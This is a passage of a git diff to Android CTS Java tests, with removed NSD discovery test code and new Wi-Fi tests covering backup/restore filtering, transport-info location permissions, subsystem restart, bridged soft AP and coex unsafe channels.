- // Register service again to see if we discover it
- checkForAdditionalEvents();
- clearEventCache();
-
- si = new NsdServiceInfo();
- si.setServiceType(SERVICE_TYPE);
- si.setServiceName(mServiceName);
- si.setPort(localPort);
-
- // Create a new registration listener and register same service again
- initRegistrationListener();
-
- mNsdManager.registerService(si, NsdManager.PROTOCOL_DNS_SD, mRegistrationListener);
-
- lastEvent = waitForCallback("onServiceRegistered"); // id = 7
-
- assertTrue(lastEvent != null);
- assertTrue(lastEvent.mSucceeded);
-
- registeredName = lastEvent.mInfo.getServiceName();
-
- // Expect a record to be discovered
- // Expect a service record to be discovered (and filter the ones
- // that are unrelated to this test)
- found = false;
- for (int i = 0; i < 32; i++) {
-
- lastEvent = waitForCallback("onServiceFound"); // id = 8
- if (lastEvent == null) {
- // no more onServiceFound events are being reported!
- break;
- }
-
- assertTrue(lastEvent.mSucceeded);
-
- if (DBG) Log.d(TAG, "id = " + String.valueOf(mWaitId) + ": ServiceName = " +
- lastEvent.mInfo.getServiceName());
-
- if (lastEvent.mInfo.getServiceName().equals(registeredName)) {
- // Save it, as it will get overwritten with new serviceFound events
- si = lastEvent.mInfo;
- found = true;
- }
-
- // Remove this event from the event cache, so it won't be found by subsequent
- // calls to waitForCallback
- synchronized (mEventCache) {
- mEventCache.remove(lastEvent);
- }
- }
-
- assertTrue(found);
-
- // Resolve the service
- clearEventCache();
- mNsdManager.resolveService(si, mResolveListener);
- lastEvent = waitForCallback("onServiceResolved"); // id = 9
-
- assertTrue(lastEvent != null);
- assertTrue(lastEvent.mSucceeded);
-
- if (DBG) Log.d(TAG, "id = " + String.valueOf(mWaitId) + ": ServiceName = " +
- lastEvent.mInfo.getServiceName());
-
- assertTrue(lastEvent.mInfo.getServiceName().equals(registeredName));
-
- assertNotNull(mResolvedService);
-
- // Check that we don't have any TXT records
- assertEquals(0, mResolvedService.getAttributes().size());
-
- checkForAdditionalEvents();
- clearEventCache();
-
- mNsdManager.stopServiceDiscovery(mDiscoveryListener);
- lastEvent = waitForCallback("onDiscoveryStopped"); // id = 10
- assertTrue(lastEvent != null);
- assertTrue(lastEvent.mSucceeded);
- assertTrue(checkCacheSize(1));
-
- checkForAdditionalEvents();
- clearEventCache();
-
- mNsdManager.unregisterService(mRegistrationListener);
-
- lastEvent = waitForCallback("onServiceUnregistered"); // id = 11
- assertTrue(lastEvent != null);
- assertTrue(lastEvent.mSucceeded);
- assertTrue(checkCacheSize(1));
- }
-
- boolean checkCacheSize(int size) {
- synchronized (mEventCache) {
- int cacheSize = mEventCache.size();
- if (cacheSize != size) {
- Log.d(TAG, "id = " + mWaitId + ": event cache size = " + cacheSize);
- for (int i = 0; i < cacheSize; i++) {
- EventData e = mEventCache.get(i);
- String sname = (e.mInfo != null) ? "(" + e.mInfo.getServiceName() + ")" : "";
- Log.d(TAG, "eventName is " + e.mCallbackName + sname);
- }
- }
- return (cacheSize == size);
- }
- }
-
- boolean checkForAdditionalEvents() {
- try {
- EventData e = waitForNewEvents();
- if (e != null) {
- String sname = (e.mInfo != null) ? "(" + e.mInfo.getServiceName() + ")" : "";
- Log.d(TAG, "ignoring unexpected event " + e.mCallbackName + sname);
- }
- return (e == null);
- }
- catch (InterruptedException ex) {
- return false;
- }
- }
-}
-
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiBackupRestoreTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiBackupRestoreTest.java
index 842c30c..15c93d9 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiBackupRestoreTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiBackupRestoreTest.java
@@ -35,6 +35,7 @@
import android.net.Uri;
import android.net.wifi.SoftApConfiguration;
import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiEnterpriseConfig;
import android.net.wifi.WifiManager;
import android.platform.test.annotations.AppModeFull;
import android.support.test.uiautomator.UiDevice;
@@ -49,7 +50,6 @@
import com.android.compatibility.common.util.SystemUtil;
import com.android.compatibility.common.util.ThrowingRunnable;
-
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
@@ -165,6 +165,13 @@
}
}
+ /** WifiConfiguration#isEnterprise() is @hide, so copy/paste partial implementation here. */
+ private static boolean isEnterprise(WifiConfiguration config) {
+ WifiEnterpriseConfig enterpriseConfig = config.enterpriseConfig;
+ return enterpriseConfig != null
+ && enterpriseConfig.getEapMethod() != WifiEnterpriseConfig.Eap.NONE;
+ }
+
/**
* Tests for {@link WifiManager#retrieveBackupData()} &
* {@link WifiManager#restoreBackupData(byte[])}
@@ -180,16 +187,20 @@
try {
uiAutomation.adoptShellPermissionIdentity();
- // Pick any saved network to modify;
+ // Pick a regular saved network to modify (non-enterprise, non-Passpoint)
origNetwork = mWifiManager.getConfiguredNetworks().stream()
- .filter(n -> mContext.checkPermission(
- android.Manifest.permission.OVERRIDE_WIFI_CONFIG, -1, n.creatorUid)
- == PERMISSION_GRANTED)
+ .filter(n -> {
+ boolean canOverrideConfig = mContext.checkPermission(
+ android.Manifest.permission.OVERRIDE_WIFI_CONFIG, -1, n.creatorUid)
+ == PERMISSION_GRANTED;
+ return canOverrideConfig && !isEnterprise(n) && !n.isPasspoint();
+ })
.findAny()
.orElse(null);
if (origNetwork == null) {
- Log.e(TAG, "Need a network created by an app holding OVERRIDE_WIFI_CONFIG "
- + "permission to fully evaluate the functionality");
+ Log.e(TAG, "Need a non-enterprise and non-Passpoint network created by an app "
+ + "holding OVERRIDE_WIFI_CONFIG permission to fully evaluate the "
+ + "functionality");
}
// Retrieve backup data.
@@ -249,8 +260,13 @@
byte[] backupData = mWifiManager.retrieveSoftApBackupData();
// Modify softap config and set it.
+ String origSsid = origSoftApConfig.getSsid();
+ char lastOrigSsidChar = origSsid.charAt(origSsid.length() - 1);
+ String updatedSsid = new StringBuilder(origSsid.substring(0, origSsid.length() - 1))
+ .append((lastOrigSsidChar == 'a' || lastOrigSsidChar == 'A') ? 'b' : 'a')
+ .toString();
SoftApConfiguration modSoftApConfig = new SoftApConfiguration.Builder(origSoftApConfig)
- .setSsid(origSoftApConfig.getSsid() + "b")
+ .setSsid(updatedSsid)
.build();
mWifiManager.setSoftApConfiguration(modSoftApConfig);
// Ensure that it does not match the orig softap config.
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java
index b92b17c..84a050f 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java
@@ -30,6 +30,7 @@
import android.net.wifi.WifiManager;
import android.platform.test.annotations.AppModeFull;
+import androidx.test.filters.SdkSuppress;
import androidx.test.filters.SmallTest;
import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.rule.ActivityTestRule;
@@ -73,6 +74,10 @@
WIFI_LOCATION_TEST_APP_PACKAGE_NAME + ".RetrieveConnectionInfoAndReturnStatusActivity";
private static final String WIFI_LOCATION_TEST_APP_RETRIEVE_CONNECTION_INFO_SERVICE =
WIFI_LOCATION_TEST_APP_PACKAGE_NAME + ".RetrieveConnectionInfoAndReturnStatusService";
+ private static final String WIFI_LOCATION_TEST_APP_RETRIEVE_TRANSPORT_INFO_ACTIVITY =
+ WIFI_LOCATION_TEST_APP_PACKAGE_NAME + ".RetrieveTransportInfoAndReturnStatusActivity";
+ private static final String WIFI_LOCATION_TEST_APP_RETRIEVE_TRANSPORT_INFO_SERVICE =
+ WIFI_LOCATION_TEST_APP_PACKAGE_NAME + ".RetrieveTransportInfoAndReturnStatusService";
private static final int DURATION_MS = 10_000;
private static final int WIFI_CONNECT_TIMEOUT_MILLIS = 30_000;
@@ -221,6 +226,17 @@
WIFI_LOCATION_TEST_APP_RETRIEVE_CONNECTION_INFO_SERVICE), status);
}
+ private void retrieveTransportInfoFgActivityAndAssertStatusIs(boolean status)
+ throws Exception {
+ startFgActivityAndAssertStatusIs(new ComponentName(WIFI_LOCATION_TEST_APP_PACKAGE_NAME,
+ WIFI_LOCATION_TEST_APP_RETRIEVE_TRANSPORT_INFO_ACTIVITY), status);
+ }
+
+ private void retrieveTransportInfoBgServiceAndAssertStatusIs(boolean status) throws Exception {
+ startBgServiceAndAssertStatusIs(new ComponentName(WIFI_LOCATION_TEST_APP_PACKAGE_NAME,
+ WIFI_LOCATION_TEST_APP_RETRIEVE_TRANSPORT_INFO_SERVICE), status);
+ }
+
@Test
public void testScanTriggerNotAllowedForForegroundActivityWithNoLocationPermission()
throws Exception {
@@ -318,4 +334,54 @@
WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_FINE_LOCATION);
retrieveConnectionInfoBgServiceAndAssertStatusIs(false);
}
+
+ /**
+ * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+ */
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ @Test
+ public void testTransportInfoRetrievalNotAllowedForForegroundActivityWithNoLocationPermission()
+ throws Exception {
+ retrieveTransportInfoFgActivityAndAssertStatusIs(false);
+ }
+
+ /**
+ * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+ */
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ @Test
+ public void testTransportInfoRetrievalAllowedForForegroundActivityWithFineLocationPermission()
+ throws Exception {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+ WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_FINE_LOCATION);
+ retrieveTransportInfoFgActivityAndAssertStatusIs(true);
+ }
+
+ /**
+ * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+ */
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ @Test
+ public void
+ testTransportInfoRetrievalAllowedForBackgroundServiceWithBackgroundLocationPermission()
+ throws Exception {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+ WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_FINE_LOCATION);
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+ WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_BACKGROUND_LOCATION);
+ retrieveTransportInfoBgServiceAndAssertStatusIs(true);
+ }
+
+ /**
+ * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+ */
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ @Test
+ public void
+ testTransportInfoRetrievalNotAllowedForBackgroundServiceWithFineLocationPermission()
+ throws Exception {
+ InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+ WIFI_LOCATION_TEST_APP_PACKAGE_NAME, ACCESS_FINE_LOCATION);
+ retrieveTransportInfoBgServiceAndAssertStatusIs(false);
+ }
}
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index 7ee1b72..b1778e6 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -19,6 +19,11 @@
import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_METERED;
import static android.net.NetworkCapabilities.TRANSPORT_WIFI;
import static android.net.wifi.WifiConfiguration.INVALID_NETWORK_ID;
+import static android.net.wifi.WifiManager.COEX_RESTRICTION_SOFTAP;
+import static android.net.wifi.WifiManager.COEX_RESTRICTION_WIFI_AWARE;
+import static android.net.wifi.WifiManager.COEX_RESTRICTION_WIFI_DIRECT;
+import static android.net.wifi.WifiScanner.WIFI_BAND_24_GHZ;
+import static android.net.wifi.WifiScanner.WIFI_BAND_5_GHZ;
import static com.google.common.truth.Truth.assertWithMessage;
@@ -41,14 +46,17 @@
import android.net.NetworkRequest;
import android.net.TetheringManager;
import android.net.Uri;
+import android.net.wifi.CoexUnsafeChannel;
import android.net.wifi.ScanResult;
import android.net.wifi.SoftApCapability;
import android.net.wifi.SoftApConfiguration;
import android.net.wifi.SoftApInfo;
import android.net.wifi.WifiClient;
import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiEnterpriseConfig;
import android.net.wifi.WifiInfo;
import android.net.wifi.WifiManager;
+import android.net.wifi.WifiManager.SubsystemRestartTrackingCallback;
import android.net.wifi.WifiManager.WifiLock;
import android.net.wifi.WifiNetworkConnectionStatistics;
import android.net.wifi.WifiNetworkSuggestion;
@@ -73,13 +81,14 @@
import android.text.TextUtils;
import android.util.ArraySet;
import android.util.Log;
+import android.util.SparseIntArray;
import androidx.core.os.BuildCompat;
import androidx.test.filters.SdkSuppress;
import androidx.test.platform.app.InstrumentationRegistry;
-import com.android.compatibility.common.util.PropertyUtil;
import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.PropertyUtil;
import com.android.compatibility.common.util.ShellIdentityUtils;
import com.android.compatibility.common.util.SystemUtil;
import com.android.compatibility.common.util.ThrowingRunnable;
@@ -95,6 +104,7 @@
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
+import java.util.Collections;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
@@ -172,6 +182,7 @@
private static final String TYPE_WIFI_CONFIG = "application/x-wifi-config";
private static final String TEST_PSK_CAP = "[RSN-PSK-CCMP]";
private static final String TEST_BSSID = "00:01:02:03:04:05";
+ public static final String TEST_DOM_SUBJECT_MATCH = "domSubjectMatch";
private IntentFilter mIntentFilter;
private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
@@ -240,6 +251,25 @@
mProvisioningComplete = true;
}
};
+ private int mSubsystemRestartStatus = 0; // 0: nada, 1: restarting, 2: restarted
+ private SubsystemRestartTrackingCallback mSubsystemRestartTrackingCallback =
+ new SubsystemRestartTrackingCallback() {
+ @Override
+ public void onSubsystemRestarting() {
+ synchronized (mLock) {
+ mSubsystemRestartStatus = 1;
+ mLock.notify();
+ }
+ }
+
+ @Override
+ public void onSubsystemRestarted() {
+ synchronized (mLock) {
+ mSubsystemRestartStatus = 2;
+ mLock.notify();
+ }
+ }
+ };
private static final String TEST_SSID = "TEST SSID";
private static final String TEST_FRIENDLY_NAME = "Friendly Name";
private static final Map<String, String> TEST_FRIENDLY_NAMES =
@@ -493,6 +523,61 @@
}
/**
+ * Restart WiFi subsystem - verify that privileged call fails.
+ * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+ */
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testRestartWifiSubsystemShouldFailNoPermission() throws Exception {
+ if (!WifiFeature.isWifiSupported(getContext())) {
+ // skip the test if WiFi is not supported
+ return;
+ }
+ try {
+ mWifiManager.restartWifiSubsystem("CTS triggered");
+ fail("The restartWifiSubsystem should not succeed - privileged call");
+ } catch (SecurityException e) {
+ // expected
+ }
+ }
+
+ /**
+ * Restart WiFi subsystem and verify transition through states.
+ * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+ */
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testRestartWifiSubsystem() throws Exception {
+ mSubsystemRestartStatus = 0; // 0: uninitialized
+ if (!WifiFeature.isWifiSupported(getContext())) {
+ // skip the test if WiFi is not supported
+ return;
+ }
+ UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ try {
+ uiAutomation.adoptShellPermissionIdentity();
+ mWifiManager.registerSubsystemRestartTrackingCallback(mExecutor,
+ mSubsystemRestartTrackingCallback);
+ synchronized (mLock) {
+ mWifiManager.restartWifiSubsystem("CTS triggered");
+ mLock.wait(TEST_WAIT_DURATION_MS);
+ }
+ assertEquals(mSubsystemRestartStatus, 1); // 1: restarting
+ waitForExpectedWifiState(false);
+ assertFalse(mWifiManager.isWifiEnabled());
+ synchronized (mLock) {
+ mLock.wait(TEST_WAIT_DURATION_MS);
+ assertEquals(mSubsystemRestartStatus, 2); // 2: restarted
+ }
+ waitForExpectedWifiState(true);
+ assertTrue(mWifiManager.isWifiEnabled());
+ } finally {
+ // cleanup
+ mWifiManager.unregisterWifiSubsystemRestartTrackingCallback(
+ mSubsystemRestartTrackingCallback);
+ uiAutomation.dropShellPermissionIdentity();
+ }
+ }
+
+ /**
* test point of wifiManager properties:
* 1.enable properties
* 2.DhcpInfo properties
@@ -633,16 +718,19 @@
Object softApLock;
int currentState;
int currentFailureReason;
+ List<SoftApInfo> apInfoList = new ArrayList<>();
+ Map<SoftApInfo, List<WifiClient>> apInfoClients = new HashMap<>();
List<WifiClient> currentClientList;
- SoftApInfo currentSoftApInfo;
SoftApCapability currentSoftApCapability;
MacAddress lastBlockedClientMacAddress;
int lastBlockedClientReason;
boolean onStateChangedCalled = false;
boolean onSoftApCapabilityChangedCalled = false;
boolean onConnectedClientCalled = false;
+ boolean onConnectedClientChangedWithInfoCalled = false;
boolean onBlockedClientConnectingCalled = false;
int onSoftapInfoChangedCalledCount = 0;
+ int onSoftapInfoChangedWithListCalledCount = 0;
TestSoftApCallback(Object lock) {
softApLock = lock;
@@ -660,12 +748,24 @@
}
}
+ public int getOnSoftApInfoChangedWithListCalledCount() {
+ synchronized(softApLock) {
+ return onSoftapInfoChangedWithListCalledCount;
+ }
+ }
+
public boolean getOnSoftApCapabilityChangedCalled() {
synchronized(softApLock) {
return onSoftApCapabilityChangedCalled;
}
}
+ public boolean getOnConnectedClientChangedWithInfoCalled() {
+ synchronized(softApLock) {
+ return onConnectedClientChangedWithInfoCalled;
+ }
+ }
+
public boolean getOnConnectedClientCalled() {
synchronized(softApLock) {
return onConnectedClientCalled;
@@ -692,13 +792,19 @@
public List<WifiClient> getCurrentClientList() {
synchronized(softApLock) {
- return currentClientList;
+ return new ArrayList<>(currentClientList);
}
}
public SoftApInfo getCurrentSoftApInfo() {
synchronized(softApLock) {
- return currentSoftApInfo;
+ return apInfoList.size() > 0 ? apInfoList.get(0) : null;
+ }
+ }
+
+ public List<SoftApInfo> getCurrentSoftApInfoList() {
+ synchronized(softApLock) {
+ return new ArrayList<>(apInfoList);
}
}
@@ -738,9 +844,26 @@
}
@Override
+ public void onConnectedClientsChanged(SoftApInfo info, List<WifiClient> clients) {
+ synchronized(softApLock) {
+ apInfoClients.put(info, clients);
+ onConnectedClientChangedWithInfoCalled = true;
+ }
+ }
+
+ @Override
+ public void onInfoChanged(List<SoftApInfo> infoList) {
+ synchronized(softApLock) {
+ apInfoList = new ArrayList<>(infoList);
+ onSoftapInfoChangedWithListCalledCount++;
+ }
+ }
+
+ @Override
public void onInfoChanged(SoftApInfo softApInfo) {
synchronized(softApLock) {
- currentSoftApInfo = softApInfo;
+ apInfoList.clear();
+ apInfoList.add(softApInfo);
onSoftapInfoChangedCalledCount++;
}
}
@@ -1581,6 +1704,14 @@
if (BuildCompat.isAtLeastS()) {
assertEquals(currentConfig.getMacRandomizationSetting(),
testSoftApConfig.getMacRandomizationSetting());
+ assertTrue(Arrays.equals(currentConfig.getBands(),
+ testSoftApConfig.getBands()));
+ assertEquals(currentConfig.getChannels().toString(),
+ testSoftApConfig.getChannels().toString());
+ assertEquals(currentConfig.isBridgedModeOpportunisticShutdownEnabled(),
+ testSoftApConfig.isBridgedModeOpportunisticShutdownEnabled());
+ assertEquals(currentConfig.isIeee80211axEnabled(),
+ testSoftApConfig.isIeee80211axEnabled());
}
}
@@ -1602,6 +1733,156 @@
}
}
+ private void verifyBridgedModeSoftApCallback(TestExecutor executor,
+ TestSoftApCallback callback, boolean shouldFallbackSingleApMode, boolean isEnabled)
+ throws Exception {
+ // Verify state and info callback value as expected
+ PollingCheck.check(
+ "SoftAp state and info on bridged AP mode are mismatch!!!"
+ + " shouldFallbackSingleApMode = " + shouldFallbackSingleApMode
+ + ", isEnabled = " + isEnabled, 5_000,
+ () -> {
+ executor.runAll();
+ int expectedState = isEnabled ? WifiManager.WIFI_AP_STATE_ENABLED
+ : WifiManager.WIFI_AP_STATE_DISABLED;
+ int expectedInfoSize = isEnabled
+ ? (shouldFallbackSingleApMode ? 1 : 2) : 0;
+ return expectedState == callback.getCurrentState()
+ && callback.getCurrentSoftApInfoList().size() == expectedInfoSize;
+ });
+ }
+
+ private boolean shouldFallbackToSingleAp(int[] bands, SoftApCapability capability) {
+ for (int band : bands) {
+ if (capability.getSupportedChannelList(band).length == 0) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ /**
+ * Test bridged AP enable succeeful when device supports it.
+ * Also verify the callback info update correctly.
+ * @throws Exception
+ */
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testTetheredBridgedAp() throws Exception {
+ // check that softap bridged mode is supported by the device
+ if (!mWifiManager.isBridgedApConcurrencySupported()) {
+ return;
+ }
+ UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ TestExecutor executor = new TestExecutor();
+ TestSoftApCallback callback = new TestSoftApCallback(mLock);
+ try {
+ uiAutomation.adoptShellPermissionIdentity();
+ // Off/On Wifi to make sure that we get the supported channel
+ turnOffWifiAndTetheredHotspotIfEnabled();
+ mWifiManager.setWifiEnabled(true);
+ PollingCheck.check(
+ "Wifi turn on failed!", 2_000,
+ () -> mWifiManager.isWifiEnabled() == true);
+ turnOffWifiAndTetheredHotspotIfEnabled();
+ verifyRegisterSoftApCallback(executor, callback);
+
+ // Test bridged SoftApConfiguration set and get (setBands)
+ SoftApConfiguration testSoftApConfig = new SoftApConfiguration.Builder()
+ .setSsid(TEST_SSID_UNQUOTED)
+ .setPassphrase(TEST_PASSPHRASE, SoftApConfiguration.SECURITY_TYPE_WPA2_PSK)
+ .setBands(new int[] {
+ SoftApConfiguration.BAND_2GHZ, SoftApConfiguration.BAND_5GHZ})
+ .build();
+ boolean shouldFallbackToSingleAp = shouldFallbackToSingleAp(testSoftApConfig.getBands(),
+ callback.getCurrentSoftApCapability());
+ verifySetGetSoftApConfig(testSoftApConfig);
+
+ // start tethering which used to verify startTetheredHotspot
+ mTetheringManager.startTethering(ConnectivityManager.TETHERING_WIFI, executor,
+ new TetheringManager.StartTetheringCallback() {
+ @Override
+ public void onTetheringFailed(final int result) {
+ }
+ });
+ verifyBridgedModeSoftApCallback(executor, callback,
+ shouldFallbackToSingleAp, true /* enabled */);
+ // stop tethering which used to verify stopSoftAp
+ mTetheringManager.stopTethering(ConnectivityManager.TETHERING_WIFI);
+ verifyBridgedModeSoftApCallback(executor, callback,
+ shouldFallbackToSingleAp, false /* disabled */);
+ } finally {
+ mWifiManager.unregisterSoftApCallback(callback);
+ uiAutomation.dropShellPermissionIdentity();
+ }
+ }
+
+ /**
+ * Test bridged AP with forced channel config enable succeeful when device supports it.
+ * Also verify the callback info update correctly.
+ * @throws Exception
+ */
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testTetheredBridgedApWifiForcedChannel() throws Exception {
+ // check that softap bridged mode is supported by the device
+ if (!mWifiManager.isBridgedApConcurrencySupported()) {
+ return;
+ }
+ UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ TestExecutor executor = new TestExecutor();
+ TestSoftApCallback callback = new TestSoftApCallback(mLock);
+ try {
+ uiAutomation.adoptShellPermissionIdentity();
+ // Off/On Wifi to make sure that we get the supported channel
+ turnOffWifiAndTetheredHotspotIfEnabled();
+ mWifiManager.setWifiEnabled(true);
+ PollingCheck.check(
+ "Wifi turn on failed!", 2_000,
+ () -> mWifiManager.isWifiEnabled() == true);
+ turnOffWifiAndTetheredHotspotIfEnabled();
+ verifyRegisterSoftApCallback(executor, callback);
+
+ boolean shouldFallbackToSingleAp = shouldFallbackToSingleAp(
+ new int[] {SoftApConfiguration.BAND_2GHZ, SoftApConfiguration.BAND_5GHZ},
+ callback.getCurrentSoftApCapability());
+
+ // Test when there are supported channels in both of the bands.
+ if (!shouldFallbackToSingleAp) {
+ // Test bridged SoftApConfiguration set and get (setChannels)
+ SparseIntArray dual_channels = new SparseIntArray(2);
+ dual_channels.put(SoftApConfiguration.BAND_2GHZ,
+ callback.getCurrentSoftApCapability()
+ .getSupportedChannelList(SoftApConfiguration.BAND_2GHZ)[0]);
+ dual_channels.put(SoftApConfiguration.BAND_5GHZ,
+ callback.getCurrentSoftApCapability()
+ .getSupportedChannelList(SoftApConfiguration.BAND_5GHZ)[0]);
+ SoftApConfiguration testSoftApConfig = new SoftApConfiguration.Builder()
+ .setSsid(TEST_SSID_UNQUOTED)
+ .setPassphrase(TEST_PASSPHRASE, SoftApConfiguration.SECURITY_TYPE_WPA2_PSK)
+ .setChannels(dual_channels)
+ .build();
+
+ verifySetGetSoftApConfig(testSoftApConfig);
+
+ // start tethering which used to verify startTetheredHotspot
+ mTetheringManager.startTethering(ConnectivityManager.TETHERING_WIFI, executor,
+ new TetheringManager.StartTetheringCallback() {
+ @Override
+ public void onTetheringFailed(final int result) {
+ }
+ });
+ verifyBridgedModeSoftApCallback(executor, callback,
+ shouldFallbackToSingleAp, true /* enabled */);
+ // stop tethering which used to verify stopSoftAp
+ mTetheringManager.stopTethering(ConnectivityManager.TETHERING_WIFI);
+ verifyBridgedModeSoftApCallback(executor, callback,
+ shouldFallbackToSingleAp, false /* disabled */);
+ }
+ } finally {
+ mWifiManager.unregisterSoftApCallback(callback);
+ uiAutomation.dropShellPermissionIdentity();
+ }
+ }
+
/**
* Verify that the configuration from getSoftApConfiguration is same as the configuration which
* set by setSoftApConfiguration. And depends softap capability callback to test different
@@ -1673,6 +1954,13 @@
SoftApConfiguration.SECURITY_TYPE_WPA3_SAE);
verifySetGetSoftApConfig(softApConfigBuilder.build());
}
+
+ // Test 11 AX control config.
+ if (callback.getCurrentSoftApCapability()
+ .areFeaturesSupported(SoftApCapability.SOFTAP_FEATURE_IEEE80211_AX)) {
+ softApConfigBuilder.setIeee80211axEnabled(true);
+ verifySetGetSoftApConfig(softApConfigBuilder.build());
+ }
} finally {
mWifiManager.unregisterSoftApCallback(callback);
uiAutomation.dropShellPermissionIdentity();
@@ -2491,11 +2779,20 @@
// assert that the country code is all uppercase
assertEquals(wifiCountryCode.toUpperCase(Locale.US), wifiCountryCode);
- if (WifiFeature.isTelephonySupported(getContext())) {
- String telephonyCountryCode = getContext().getSystemService(TelephonyManager.class)
- .getNetworkCountryIso();
- assertEquals(telephonyCountryCode, wifiCountryCode.toLowerCase(Locale.US));
+ // skip if Telephony is unsupported
+ if (!WifiFeature.isTelephonySupported(getContext())) {
+ return;
}
+
+ String telephonyCountryCode = getContext().getSystemService(TelephonyManager.class)
+ .getNetworkCountryIso();
+
+ // skip if Telephony country code is unavailable
+ if (telephonyCountryCode == null || telephonyCountryCode.isEmpty()) {
+ return;
+ }
+
+ assertEquals(telephonyCountryCode, wifiCountryCode.toLowerCase(Locale.US));
}
/**
@@ -3268,4 +3565,184 @@
assertTrue(isSupportedWhenWifiEnabled);
}
}
+
+ public class TestCoexCallback extends WifiManager.CoexCallback {
+ private Object mCoexLock;
+ private int mOnCoexUnsafeChannelChangedCount;
+
+ TestCoexCallback(Object lock) {
+ mCoexLock = lock;
+ }
+
+ @Override
+ public void onCoexUnsafeChannelsChanged() {
+ synchronized (mCoexLock) {
+ mOnCoexUnsafeChannelChangedCount++;
+ mLock.notify();
+ }
+ }
+
+ public int getOnCoexUnsafeChannelChangedCount() {
+ synchronized (mCoexLock) {
+ return mOnCoexUnsafeChannelChangedCount;
+ }
+ }
+ }
+
+ /**
+ * Test that coex-related methods fail without the needed privileged permissions
+ */
+ // TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testCoexMethodsShouldFailNoPermission() {
+ if (!WifiFeature.isWifiSupported(getContext())) {
+ // skip the test if WiFi is not supported
+ return;
+ }
+
+ try {
+ mWifiManager.setCoexUnsafeChannels(Collections.emptySet(), 0);
+ fail("setCoexUnsafeChannels should not succeed - privileged call");
+ } catch (SecurityException e) {
+ // expected
+ }
+ try {
+ mWifiManager.getCoexUnsafeChannels();
+ fail("getCoexUnsafeChannels should not succeed - privileged call");
+ } catch (SecurityException e) {
+ // expected
+ }
+ final TestCoexCallback callback = new TestCoexCallback(mLock);
+ try {
+ mWifiManager.registerCoexCallback(mExecutor, callback);
+ fail("registerCoexCallback should not succeed - privileged call");
+ } catch (SecurityException e) {
+ // expected
+ }
+ try {
+ mWifiManager.unregisterCoexCallback(callback);
+ fail("unregisterCoexCallback should not succeed - privileged call");
+ } catch (SecurityException e) {
+ // expected
+ }
+ }
+
+ /**
+ * Test that coex-related methods succeed in setting the current unsafe channels and notifying
+ * the listener. Since the default coex algorithm may be enabled, no-op is also valid behavior.
+ */
+ // TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testListenOnCoexUnsafeChannels() {
+ if (!WifiFeature.isWifiSupported(getContext())) {
+ // skip the test if WiFi is not supported
+ return;
+ }
+
+ // These below API's only work with privileged permissions (obtained via shell identity
+ // for test)
+ UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ Set<CoexUnsafeChannel> prevUnsafeChannels = null;
+ int prevRestrictions = -1;
+ try {
+ uiAutomation.adoptShellPermissionIdentity();
+ // Save the current state to reset after the test.
+ prevUnsafeChannels = mWifiManager.getCoexUnsafeChannels();
+ prevRestrictions = mWifiManager.getCoexRestrictions();
+
+ // Register callback
+ final TestCoexCallback callback = new TestCoexCallback(mLock);
+ mWifiManager.registerCoexCallback(mExecutor, callback);
+ Set<CoexUnsafeChannel> unsafeChannels = new HashSet<>();
+ unsafeChannels.add(new CoexUnsafeChannel(WIFI_BAND_24_GHZ, 6));
